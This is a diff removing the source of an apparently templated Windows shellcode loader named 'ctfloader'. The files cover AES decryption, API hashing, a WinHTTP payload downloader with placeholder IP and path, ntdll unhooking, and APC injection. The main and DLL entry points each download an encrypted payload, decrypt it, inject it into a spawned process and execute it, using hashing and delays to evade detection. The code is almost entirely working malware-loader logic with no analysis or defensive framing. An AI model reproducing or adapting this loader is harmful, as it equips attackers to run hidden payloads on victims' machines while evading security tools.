s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[11];
// round 3
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[12];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[13];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[14];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[15];
// round 4
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[16];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[17];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[18];
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[19];
// round 5
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[20];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[21];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[22];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[23];
// round 6
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[24];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[25];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[26];
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[27];
// round 7
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[28];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[29];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[30];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[31];
// round 8
s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ ctx->roundkey[32];
s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ ctx->roundkey[33];
s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ ctx->roundkey[34];
s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ ctx->roundkey[35];
// round 9
t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ ctx->roundkey[36];
t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ ctx->roundkey[37];
t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ ctx->roundkey[38];
t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ ctx->roundkey[39];
// Final round 10
s0 = (Td4[(t0 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[40];
s1 = (Td4[(t1 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[41];
s2 = (Td4[(t2 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[42];
s3 = (Td4[(t3 >> 24) & 0xff] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 >> 0) & 0xff] & 0x000000ff) ^ ctx->roundkey[43];
// Map the decrypted state to a byte array block
PUTU32(out_data + 0, s0 ^ ctx->iv[0]);
PUTU32(out_data + 4, s1 ^ ctx->iv[1]);
PUTU32(out_data + 8, s2 ^ ctx->iv[2]);
PUTU32(out_data + 12, s3 ^ ctx->iv[3]);
ctx->iv[0] = temp[0];
ctx->iv[1] = temp[1];
ctx->iv[2] = temp[2];
ctx->iv[3] = temp[3];
}
void AES_DecryptBuffer(AES_CTX* ctx, const unsigned char* in_data, unsigned char* out_data, size_t length) {
// Ensure the input length is a multiple of AES_BLOCK_SIZE
if (length % AES_BLOCK_SIZE != 0) {
printf("[-] Error: Input length must be a multiple of %d\n", AES_BLOCK_SIZE);
return;
}
// Process each block
for (size_t i = 0; i < length; i += AES_BLOCK_SIZE) {
AES_Decrypt(ctx, in_data + i, out_data + i);
}
}
#endif
-86
View File
@@ -1,86 +0,0 @@
###############################################################################
# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
###############################################################################
# If on Windows/MSYS2, you might have "x86_64-w64-mingw32-clang"
CLANG := C:\msys64\mingw64\bin\clang
# Build format selector
# EXE is the default so existing scripts continue to work unchanged.
# -----------------------------------------------------------------------------
FORMAT ?= EXE # { EXE | DLL }
# -----------------------------------------------------------------------------
# 3. Source files
# -----------------------------------------------------------------------------
COMMON_SRCS := \
api_hashing.c \
download.c \
inject.c \
unhook.c \
whispers.c
ifeq ($(FORMAT),DLL)
MAIN_SRC := main_dll.c
TARGET := ctfloader.dll
else
MAIN_SRC := main.c
TARGET := ctfloader.exe
endif
C_SRCS := $(COMMON_SRCS) $(MAIN_SRC)
C_OBJS := $(C_SRCS:.c=.o)
# -----------------------------------------------------------------------------
# 4. Assembly helper (Whispers)
# -----------------------------------------------------------------------------
ASM_SRC := whispers-asm.x64.asm
ASM_OBJ := whispers-asm.o
ASFLAGS := -f win64
# -----------------------------------------------------------------------------
# 5. Flags
# -----------------------------------------------------------------------------
CFLAGS_BASE := -O2 -Wall -w -static
LDFLAGS := -Wl,--disable-auto-import -s
LIBS := -lwinhttp -lntdll
# DLL nuances: strip -static and add /shared linker options
ifeq ($(FORMAT),DLL)
CFLAGS := $(filter-out -static,$(CFLAGS_BASE)) -DCTF_AS_DLL
LDFLAGS += -shared -Wl,--out-implib,libctfloader.a
else
CFLAGS := $(CFLAGS_BASE)
endif
# -----------------------------------------------------------------------------
# 6. Phony targets
# -----------------------------------------------------------------------------
.PHONY: all exe dll clean
all: $(TARGET)
exe:
$(MAKE) FORMAT=EXE
dll:
$(MAKE) FORMAT=DLL
# -----------------------------------------------------------------------------
# 7. Linking & compilation rules
# -----------------------------------------------------------------------------
$(TARGET): $(C_OBJS) $(ASM_OBJ)
$(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS)
%.o: %.c
$(CLANG) $(CFLAGS) -c $< -o $@
$(ASM_OBJ): $(ASM_SRC)
nasm $(ASFLAGS) $< -o $@
# -----------------------------------------------------------------------------
# 8. Housekeeping
# -----------------------------------------------------------------------------
clean:
rm -f *.o *.obj $(TARGET) libctfloader.a
-104
View File
@@ -1,104 +0,0 @@
/*
Authors: - @ MaldevAcademy - https://maldevacademy.com
- @ VX-Underground - https://vx-underground.org
*/
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
#include "functions.h"
DWORD HashStringDjb2A(PCHAR String)
{
ULONG Hash = INITIAL_HASH;
INT c;
while (c = *String++)
Hash = ((Hash << INITIAL_SEED) + Hash) + c;
return Hash;
}
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {
if (hModule == NULL || dwApiNameHash == NULL)
return NULL;
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
// Hashing every function name pFunctionName
// If both hashes are equal then we found the function we want
if (dwApiNameHash == HASHA(pFunctionName)) {
return pFunctionAddress;
}
}
return NULL;
}
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
if (dwModuleNameHash == NULL)
return NULL;
#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
while (pDte) {
if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {
// converting `FullDllName.Buffer` to upper case string
CHAR UpperCaseDllName[MAX_PATH];
DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
i++;
}
UpperCaseDllName[i] = '\0';
// hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash`
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
return pDte->Reserved2[0];
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}
-140
View File
@@ -1,140 +0,0 @@
/*
Author: @ MochaByte
*/
#include <stdio.h>
#include <Windows.h>
#include <winhttp.h>
#include "functions.h"
#pragma comment(lib, "winhttp.lib")
#define IP L"#-IP_VALUE-#" // Changable
#define PORT #-PORT_VALUE-# // Changable
#define PATH L"#-PATH_VALUE-#" // Changable
BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) {
LPCWSTR path = PATH;
DWORD dwSize = 0,
dwTotalSize = 0,
dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
BOOL bState = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// First opening an internet session
hSession = WinHttpOpen(
L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536",
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0
);
// Checking if it was successfull
if (hSession == NULL) {
printf("[-] Internet session could not be initialized.\n");
goto _CleanUp;
}
// Defining the target server with the earlier defined session
hConnect = WinHttpConnect(hSession, IP, PORT, 0);
// Checking if its ok
if (hConnect == NULL) {
printf("[-] Could not connect to the target server: %d\n", GetLastError());
goto _CleanUp;
}
// Creating the HTTP request
hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE);
// Checking again
if (hRequest == NULL) {
printf("[-] Failed to create the request: %d\n", GetLastError());
goto _CleanUp;
}
// Firing the request !!
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
printf("[-] Failed to send the request: %d\n", GetLastError());
goto _CleanUp;
}
// Wait for the response
if (!WinHttpReceiveResponse(hRequest, 0)) {
printf("[-] Failed to receive the response: %d", GetLastError());
goto _CleanUp;
}
do {
// Checking for available data
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
printf("[-] Error checking the amount of data: %d", GetLastError());
goto _CleanUp;
}
// Allocating the space to gather the data
LPSTR tempBuffer = realloc(pszOutBuffer, dwTotalSize + dwSize + 1);
if (!tempBuffer) {
printf("[-] Out of memory: %d", GetLastError());
goto _CleanUp;
}
else {
pszOutBuffer = tempBuffer;
}
// Reading the data
if (!WinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwTotalSize), dwSize, &dwDownloaded)) {
printf("[-] Error reading the data: %d", GetLastError());
goto _CleanUp;
}
dwTotalSize += dwDownloaded;
} while (dwSize > 0);
// Saving the content into the "return variables"
*pPayload = pszOutBuffer;
*sSizeOfPayload = dwTotalSize;
pszOutBuffer = NULL;
bState = TRUE;
_CleanUp:
if (pszOutBuffer)
free(pszOutBuffer);
if (hRequest)
WinHttpCloseHandle(hRequest);
if (hConnect)
WinHttpCloseHandle(hConnect);
if (hSession)
WinHttpCloseHandle(hSession);
return bState;
}
-19
View File
@@ -1,19 +0,0 @@
#pragma once
#include <stdint.h>
// API Hashing Part
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
BOOL Unhook(LPVOID module);
LPVOID MapNtdll();
typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation);
typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId);
-97
View File
@@ -1,97 +0,0 @@
/*
Author: @ MaldevAcademy - https://maldevacademy.com
*/
#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include "functions.h"
#include "whispers.h"
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath[MAX_PATH * 2];
CHAR WnDr[MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
Si.cb = sizeof(STARTUPINFO);
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH))
return FALSE;
// Creating the target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
// API Hashing
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
Sleep(15000);
if(!cCPAu(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // Instead of CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
return FALSE;
}
// Filling up the OUTPUT parameter with CreateProcessA's output
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
Sleep(5000);
return TRUE;
}
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = 0,
sSize = sSizeOfShellcode;
ULONG uOldProtection = 0;
NTSTATUS STATUS = 0x00;
if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
Sleep(2500);
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Successfully changed memory region permission to RWX!\n");
return TRUE;
}
-104
View File
@@ -1,104 +0,0 @@
#include <stdio.h>
#include <Windows.h>
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
uint8_t aes_k[16] = { #-KEY_VALUE-# };
uint8_t aes_i[16] = { #-IV_VALUE-# };
int main() {
PBYTE pEncPayload = NULL;
SIZE_T sEncPayload = 0;
PVOID pClearText = NULL,
pProcess = NULL;
DWORD dwSizeOfClearText = 0,
dwOldProtect = 0,
dwProcessId = 0;
AES_CTX ctx;
HANDLE hThread = NULL,
hProcess = NULL;
NTSTATUS STATUS = 0x00;
printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
return -1;
if (!Unhook(nt))
return -1;
Sleep(500);
if (!GetContent(&pEncPayload, &sEncPayload)) {
printf("[-] Failed to get the data!\n");
return -1;
}
printf("[+] PID: %d\n", GetCurrentProcessId());
printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload);
// Decryption routine
printf("[i] Starting the decryption...\n");
Sleep(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);
printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
printf("[-] Failed to create suspended process!\n");
return -1;
}
printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
printf("[+] Payload executed!\n");
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
return 0;
}
-119
View File
@@ -1,119 +0,0 @@
#include <stdio.h>
#include <windows.h>
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
uint8_t aes_k[16] = { #-KEY_VALUE-# };
uint8_t aes_i[16] = { #-IV_VALUE-# };
extern __declspec(dllexport) int ctf()
{
PBYTE pEncPayload = NULL;
SIZE_T sEncPayload = 0;
PVOID pClearText = NULL,
pProcess = NULL;
DWORD dwSizeOfClearText = 0,
dwOldProtect = 0,
dwProcessId = 0;
AES_CTX ctx;
HANDLE hThread = NULL,
hProcess = NULL;
NTSTATUS STATUS = 0x00;
printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
return -1;
if (!Unhook(nt))
return -1;
Sleep(500);
if (!GetContent(&pEncPayload, &sEncPayload)) {
printf("[-] Failed to get the data!\n");
return -1;
}
printf("[+] PID: %d\n", GetCurrentProcessId());
printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload);
// Decryption routine
printf("[i] Starting the decryption...\n");
Sleep(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);
printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
printf("[-] Failed to create suspended process!\n");
return -1;
}
printf("[+] Process created with PID: %d\n", dwProcessId);
Sleep(2500);
printf("[i] Injecting the shellcode into the process..\n");
// Doing the APC Injection
if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) {
return -1;
}
Sleep(1500);
printf("[i] Running the shellcode via NtQueueApcThread..\n");
// Running the thread via QueueAPCThread
if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) {
printf("[-] NtQueueApcThrad failed!\n");
return -1;
}
// API Hashing
cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#);
printf("[i] Position of DAPsu: 0x%p\n", cDAPSu);
Sleep(1000);
// Stopping the debugging of the process, which launches the payload
cDAPSu(dwProcessId);
printf("[+] Payload executed!\n");
CloseHandle(hThread);
CloseHandle(hProcess);
free(pClearText);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
-282
View File
@@ -1,282 +0,0 @@
#pragma once
#include <windows.h>
#include "whispers.h"
typedef PVOID PACTIVATION_CONTEXT;
typedef PVOID PRTL_USER_PROCESS_PARAMETERS;
typedef PVOID PAPI_SET_NAMESPACE;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PSLIST_HEADER AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1; // REDSTONE5
ULONG ReservedBits0 : 24;
};
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PAPI_SET_NAMESPACE ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData; // HotpatchInformation
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData; // PCPTABLEINFO
PVOID OemCodePageData; // PCPTABLEINFO
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
ULARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps; // PHEAP
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
KAFFINITY ActiveProcessAffinityMask;
ULONG GdiHandleBuffer[60];
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
UNICODE_STRING CSDVersion;
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
SIZE_T MinimumStackCommit;
PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex)
PVOID PatchLoaderData;
PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO
